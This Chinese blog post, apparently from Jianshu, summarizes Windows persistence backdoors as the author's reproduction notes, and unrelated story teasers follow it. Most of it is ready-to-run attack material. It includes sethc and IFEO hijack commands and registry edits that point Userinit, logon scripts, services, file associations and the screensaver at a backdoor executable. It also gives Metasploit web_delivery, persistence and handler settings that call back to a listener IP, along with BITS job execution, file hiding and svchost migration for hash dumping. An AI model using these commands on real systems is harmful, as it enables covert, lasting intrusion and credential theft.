Windows-权限维持小结

初衷


看过一些持久化后门的文章,我感觉有些内容介绍的不是特别清楚,重要利用过程被省略,可能是我太菜的原因。特此写下该文章记录自己的复现过程,主要是一些利用起来相对比较容易的方法记录。

前言


持久化后门是指当入侵者通过某种手段拿到服务器的控制权之后,通过在服务器上放置一些后门(脚本、进程、连接之类),来方便他以后持久性的入侵。


shift后门:

在windows中有一些辅助功能,能在用户未登录系统之前可以通过组合键来启动它,类似的辅助功能有:

C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift键
C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U键

windows 2003/xp:
#利用copy来替换sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\sethc2.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

windows 2008/win7:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "cmd.exe" /f

在低版本的windows中,我们可以直接把setch.exe替换成我们的后门程序.并在用户的登录页面敲击五次shift键就可以出现CMD窗口。

无文件后门:

目标:让目标设备从远端服务器加载webshell代码至内存执行
方法:使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行
步骤:

use exploit/multi/script/web_delivery
set target php
set payload php/meterpreter/reverse_tcp
set lhost 192.168.107.129
set lport 5555
run

让目标设备在系统命令下执行标红部分命令就可得到对方shell

运行成功后显示:

backdoor隐藏:

使用windows自带命令行工具attrib用来显示或更改文件属性。

attrib +s +a +h +r backdoor_file

+r 设置只读属性
-r 取消只读属性
+a 设置存档属性
+s 设置系统属性
+h 设置隐藏属性
/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录

此时不管你是否显示隐藏文件,此文件都看不见

破解隐藏文件:
打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

Shfit映像劫持后门:

条件:需要管理员权限
实现效果:键入五下Shift执行时,先执行sethc.exe程序,当sethc.exe程序静默退出时,执行cmd.exe程序
利用方式:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1  /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

具体原理请参考:
打造不一样的Shfit映像劫持后门
Shfit映像劫持后门新玩法

进程注入:

准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术。
这里介绍的是meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
这里我们注入到svchost为例:
获得meterpreter的会话后,查看权限尝试获取哈希,这里获取失败是权限的问题。

使用ps命令查看正在运行的进程,瞄准svchost.exe,system权限运行

把后门注入到svchost.exe中,成功获取hash。

将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法

exploit/windows/local/registry_persistence模块:

exploit/windows/local/registry_persistence

通过用户自己指定payload及编码方式,将shellcode添加到注册表,然后再利用powershell加载该shellcode,成功运行meterpreter
同类型的还有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence,有的效果也不错,如添加计划任务启动的功能,但或多或少都有一些限制

用户登录初始化:

Userinit的作用是用户在进行登陆初始化设置时,WinLogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加我们要执行的程序。
注册表路径为:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
初始值:C:\Windows\system32\userinit.exe,
我们添加一个我们启动的程序,多个程序用逗号隔开
用msf生成backdoor文件
恶意程序路径:C:\Users\sws\Desktop\666.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /d "C:\Windows\system32\userinit.exe,C:\Users\sws\Desktop\666.exe" /f

重启登录,msf成功反弹shell

Logon Scripts:

Logon Scripts优先于av先执行,我们可以利用这一点来绕过av的敏感操作拦截
注册表路径为:HKEY_CURRENT_USER\Environment,创建一个键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "
C:\Users\sws\Desktop\666.exe" /f

修改计算器启动服务调用的程序:

启动服务有些需要手动启动,比如IEEtwCollectorService 服务,这里做后面的思路是,该服务本身对计算机运行没有影响,因此将其手动启动改成自动启动,并将其运行的脚本改成木马后门
没有IEEtwCollectorService 服务可以选择COMSysApp服务

#篡改运行脚本
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\sws\Desktop\666.exe" /f
#设置自动启动
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 

#COMSysApp
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\COMSysApp" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\sws\Desktop\666.exe" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\COMSysApp" /v Start /t REG_DWORD /d 2 /f

一般获取的都是system权限,但这种backdoor极不稳定
需要开启命令自动迁移进程

set AutoRunScript migrate -f

文件关联:

文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系,一个文件可以与多个应用程序发生关联。可以利用文件的"打开方式"进行关联选择。
我们可以用assoc命令显示或修改文件扩展名关联,我们可以看一下.txt文件的关联。

我们可以用ftype命令显示或修改用在文件扩展名关联中的文件类型。

# 相关注册表
HKEY_CURRENT_USER\Software\Classes    //保存了当前用户的类注册和文件扩展名信息
HKEY_LOCAL_MACHINE\Software\Classes   //保存了系统所有用户用户的类注册和文件扩展名信息
HKEY_CLASS_ROOT                      //HKEY_CLASSES_ROOT项提供合并来自上面两个的信息的注册表的视图

我们以.txt为例,通过文件关联来修改它默认打开的程序。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序
修改注册表:

reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Users\sws\Desktop\666.exe %1" /f

成功修改

效果:一打开txt文件,msf就能收到反弹shell
不足:对方打不开txt文件了,肯定很着急啊

自启动服务:

自启动服务一般是在电脑启动后在后台默认或者加载指定的服务程序,可以将exe应用程序注册为服务,也可以将dll文件注册为服务。
一般自启动项是这两个键:Run和RunOnce,两者的区别如下

Run:该项下的键值即为开机启动项,每一次随着开机而启动。
RunOnce:RunOnce和Run差不多,唯一的区别就是RunOnce的键值只作用一次,执行完毕后就会自动删除

MSF可以使用Metsvc创建服务,但此类操作极容易被查杀。
msf反弹连接shell后,输入命令:

meterpreter > run metsvc -A

该条命令执行成功后,会在目标系统自动创建一个meterpreter的serverces ,并自动保存为开机自动启动!
执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务


这时我们再来启动一个反弹会话处理程序:

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST target_ip
set LPORT 31337
run


成功反弹shell

run metsvc -r #卸载现有的Meterpreter自启动服务

注册表自启动:

MSF的Persistence模块利用的就是写注册表自启动项来实现的

#用户级:
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
#系统级:
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.107.129
-X 开机自启动
-i <num> payload重连的间隔时间
-p 反向连接端口号
-r 反向连接IP地址

然后再通过反弹会话启动程序:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.107.129
set lport 4444
run

#删除自启动程序方法:
meterpreter > getpid
Current pid: 4992
meterpreter > ps
#找到对应的pid,找到文件存放路径,删除即可

一个vbs后门写入了开机启动项但是容易被发现,还是需要大家发挥自己的智慧

屏幕保护程序:

屏幕保护程序,当初的设计是为了防止长期屏幕的显示,预防老化与缩短屏幕显示器老化的一种保护程序。
在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持。

屏幕保护的配置存储在注册表中,其位置为:
HKEY_CURRENT_USER\Control Panel\Desktop,关键键值如下:

SCRNSAVE.EXE - 默认屏幕保护程序,我们可以把这个键值改为我们的恶意程序
ScreenSaveActive - 1表示屏幕保护是启动状态,0表示表示屏幕保护是关闭状态
ScreenSaverTimeout - 指定屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)

利用前提:

目标主机开启了屏幕保护

利用过程:

1.利用msf制作恶意程序,上传至目标服务器,你们懂的
2.打开注册表:regedit
3.通过cmd植入恶意程序

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d D:\phpstudy_pro\WWW\hack.exe

4.msf设置监听,要等待一点时间,具体跟注册表的ScreenSaverTimeout值有关
效果图:




BITS Jobs后门:

BITS Jobs是windows后台智能传输服务,全称Background Intelligent Transfer Service (BITS),用于HTTP或SMB文件传输。
Powershell和bitsadmin.exe都可用于创建和管理Bits Job,但Powershell似乎只支持文件传输,windows原生程序bitsadmin.exe还支持传输完成后执行代码。
你可以执行bitsadmin /?或bitsadmin /HELP获取帮助列表。
常见的bitsadmin命令:

bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel <Job> //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。
bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel <Job> //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete <Job> //完成某个任务

利用过程:
1.先把backdoor文件上传至C:\Users\sws\Downloads。
2.执行以下代码:

bitsadmin /create test
bitsadmin /addfile test C:\Users\sws\Downloads\666.exe c:\tmp\666.exe
bitsadmin /SetNotifyCmdLine test C:\Users\sws\Downloads\666.exe NULL
bitsadmin /resume test

msf成功反弹shell。
重启后任务依然存在,过一两分钟后,msf成功反弹shell。
如果我们想让任务完成,可以执行bitsadmin /complete test,666.exe也会复制到桌面上。

创建影子用户:

具体请参考:权限维持篇-影子用户后门
局限性:只有在登录远程桌面并且权限较大时才可以精确利用

AppInit_DLLs

原理:User32.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。
严格来讲,此dll注入不是注入到所有运行进程,而是注入到加载User32.dll的进程中。
User32.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。
其注册表位置为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,把AppInit_DLLs的键值设置为我们dll路径,将LoadAppInit_DLLs设置为1
此时查看ProcessExplorer
win7环境复现失败,先放着。。。

CLR:

win7环境复现失败。。。
具体请参考:权限维持篇-CLR劫持后门

组策略设置脚本启动:

运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。


参考如下:

Windows常见的持久化后门汇总
windows常见backdoor、权限维持方法及排查技术
原创干货 | 利用屏幕保护程序进行权限维持
使用Metasploit的Web Delivery Script和命令注入弹出Shell
windows中常见后门持久化方法总结
AppInit_DLLs注册表方式注入DLL
渗透测试-权限维持
权限维持篇

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,835评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,598评论 1 295
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,569评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,159评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,533评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,710评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,923评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,674评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,421评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,622评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,115评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,428评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,114评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,097评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,875评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,753评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,649评论 2 271